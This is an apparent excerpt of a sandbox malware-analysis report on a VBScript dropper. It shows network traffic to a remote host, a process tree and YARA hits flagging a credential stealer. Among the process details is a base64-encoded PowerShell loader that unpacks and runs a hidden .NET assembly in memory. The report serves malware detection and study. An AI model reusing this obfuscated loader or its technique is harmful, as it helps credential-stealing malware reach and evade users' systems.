Nov 28, 2024 18:28:00.036142111 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.036184072 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:00.037226915 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.037300110 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.037357092 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:00.038480043 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.038551092 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.038598061 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:00.039774895 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.039886951 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.039931059 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:00.040915012 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:00.095469952 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:00.958288908 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:01.078845024 CET	7702	49720	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:01.078910112 CET	49720	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:01.916688919 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.037820101 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.037910938 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.052799940 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.052897930 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.177459002 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177519083 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.177539110 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177551031 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177562952 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177575111 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177587986 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177598953 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177608967 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177618980 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177620888 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.177630901 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.177668095 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.177690029 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.302284956 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.302301884 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.302311897 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.302321911 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.302334070 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.302349091 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.302356958 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.302405119 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.302428961 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.348387957 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.348536015 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.464353085 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.464510918 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.516357899 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.516446114 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.632442951 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.632509947 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.740286112 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.740361929 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:02.865412951 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:02.865484953 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.105607986 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.105660915 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.229134083 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.248990059 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.369064093 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.369160891 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.489178896 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.766129971 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.766413927 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.766474962 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.886177063 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886459112 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886522055 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.886617899 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886636019 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886646032 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886662960 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.886691093 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.886739016 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886790991 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886840105 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.886919022 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886928082 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886961937 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.886969090 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.886972904 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887006044 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887018919 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887093067 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887115002 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887124062 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887167931 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887236118 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887285948 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887300968 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887352943 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887362957 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887382984 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887396097 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:03.887550116 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887679100 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887689114 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887700081 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887777090 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887785912 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887856960 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887866974 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.887993097 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888019085 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888060093 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888113976 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888231993 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888314009 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888336897 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888346910 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888418913 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888442993 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888520002 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888565063 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888642073 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888652086 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888715982 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888725996 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888786077 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888814926 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888926029 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888936043 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.888967991 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889014959 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889154911 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889164925 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889204979 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889235020 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889360905 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889400005 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:03.889436960 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.006804943 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.006901979 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007054090 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007177114 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007302999 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007386923 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007462978 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007514954 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007601976 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007625103 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007767916 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007818937 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007926941 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.007961035 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008121014 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008130074 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008244991 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008280039 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008385897 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008414984 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008492947 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008538961 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008656025 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008696079 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008825064 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.008876085 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.009013891 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.009043932 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.009165049 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.009212971 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.009251118 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.296823025 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:04.421761990 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.421829939 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:04.544609070 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.880542994 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:04.923597097 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:05.139750957 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:05.148382902 CET	49728	7702	192.168.2.9	185.29.9.118
Nov 28, 2024 18:28:05.272123098 CET	7702	49728	185.29.9.118	192.168.2.9
Nov 28, 2024 18:28:05.272213936 CET	49728	7702	192.168.2.9	185.29.9.118

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 18:28:01.459460020 CET	55676	53	192.168.2.9	1.1.1.1
Nov 28, 2024 18:28:01.607878923 CET	53	55676	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 18:28:01.459460020 CET	192.168.2.9	1.1.1.1	0xae86	Standard query (0)	90.168.9.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 18:27:47.807825089 CET	1.1.1.1	192.168.2.9	0x35f8	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 18:27:47.807825089 CET	1.1.1.1	192.168.2.9	0x35f8	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 18:28:01.607878923 CET	1.1.1.1	192.168.2.9	0xae86	Name error (3)	90.168.9.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

Target ID:	0
Start time:	12:27:50
Start date:	28/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs"
Imagebase:	0x7ff609580000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:27:51
Start date:	28/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\FileCopy.vbs.exe" /Y
Imagebase:	0x7ff7eba90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:27:51
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:27:53
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\FileCopy.vbs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Imagebase:	0xe90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1437469365.0000000009C90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:27:53
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:27:55
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x9a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1504820265.00000000053F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1488056687.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	99.7%
Signature Coverage:	3.1%
Total number of Nodes:	292
Total number of Limit Nodes:	4

Executed Functions

Function 09C849C0 Relevance: 2.6, Strings: 1, Instructions: 1335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 09C8599E

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 2e0edd211d4177af5819c5fc4fb1dab23099091eee1134ea36b596c93f1c8c1a
Instruction ID: ff275221dd2c205c107a7ab5a7dda3d4a86ec9524176c470582f44ce0b193eb7
Opcode Fuzzy Hash: 2e0edd211d4177af5819c5fc4fb1dab23099091eee1134ea36b596c93f1c8c1a
Instruction Fuzzy Hash: 5EE2A174E00228CFDB64DF68D98569ABBF6FB89305F1081E9E409A7355DB34AE81CF50

Function 09DA0040 Relevance: 2.4, Strings: 1, Instructions: 1175COMMON

Download Yara Rule

Strings

4, xrefs: 09DA0A15

Memory Dump Source

Source File: 00000004.00000002.1441253890.0000000009DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9da0000_FileCopy.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: bfaf54dec70b8611a0d9fafbd498e73006c53a594d47fc92c05f930fa1522513
Instruction ID: ab74a75e7f3b34522f010f498a0c5c1c68ae469fd732e85f45118b3972d5f92f
Opcode Fuzzy Hash: bfaf54dec70b8611a0d9fafbd498e73006c53a594d47fc92c05f930fa1522513
Instruction Fuzzy Hash: 70B21535A40218CFDB24DFA4C994BADB7B6BF89300F148199E509AB7A5DB70EC91CF50

Function 06B613EE Relevance: 2.1, Instructions: 2095COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1425360584.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b60000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de06c4f5796a2683870278cc47bc4955591646f795ff8d48df69cf59a6f2a61d
Instruction ID: 3c35837a77eeb8ab2c58cfda9bc425981c841e11728cb2c51065eba0b4f98dea
Opcode Fuzzy Hash: de06c4f5796a2683870278cc47bc4955591646f795ff8d48df69cf59a6f2a61d
Instruction Fuzzy Hash: 7CE23670A0D384AFEB268B798C15B9A7FB59F46700F1940EBF240DB2E3D6799805C761

Function 09D857E0 Relevance: 1.9, Strings: 1, Instructions: 616
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 09D858EA

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: c91f3c0c750c4c89afb3a19c6f451f1831f11a9a323f65264800698f34ba59bd
Instruction ID: f4fbcee5fb406fd1a4c29621e24042ba413dd948f2cdd73c8d52bc8e1c703acd
Opcode Fuzzy Hash: c91f3c0c750c4c89afb3a19c6f451f1831f11a9a323f65264800698f34ba59bd
Instruction Fuzzy Hash: 8852C775E002298FDB64DF69C850ADAB7B2FF89310F1085AAD909A7355DB30AE85CF50

Function 09DA0367 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 09DA0A15

Memory Dump Source

Source File: 00000004.00000002.1441253890.0000000009DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9da0000_FileCopy.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 2e8955fdec9a94cb23a58c250dd9ca88442719f0e8a69e26eb86226a2e647df1
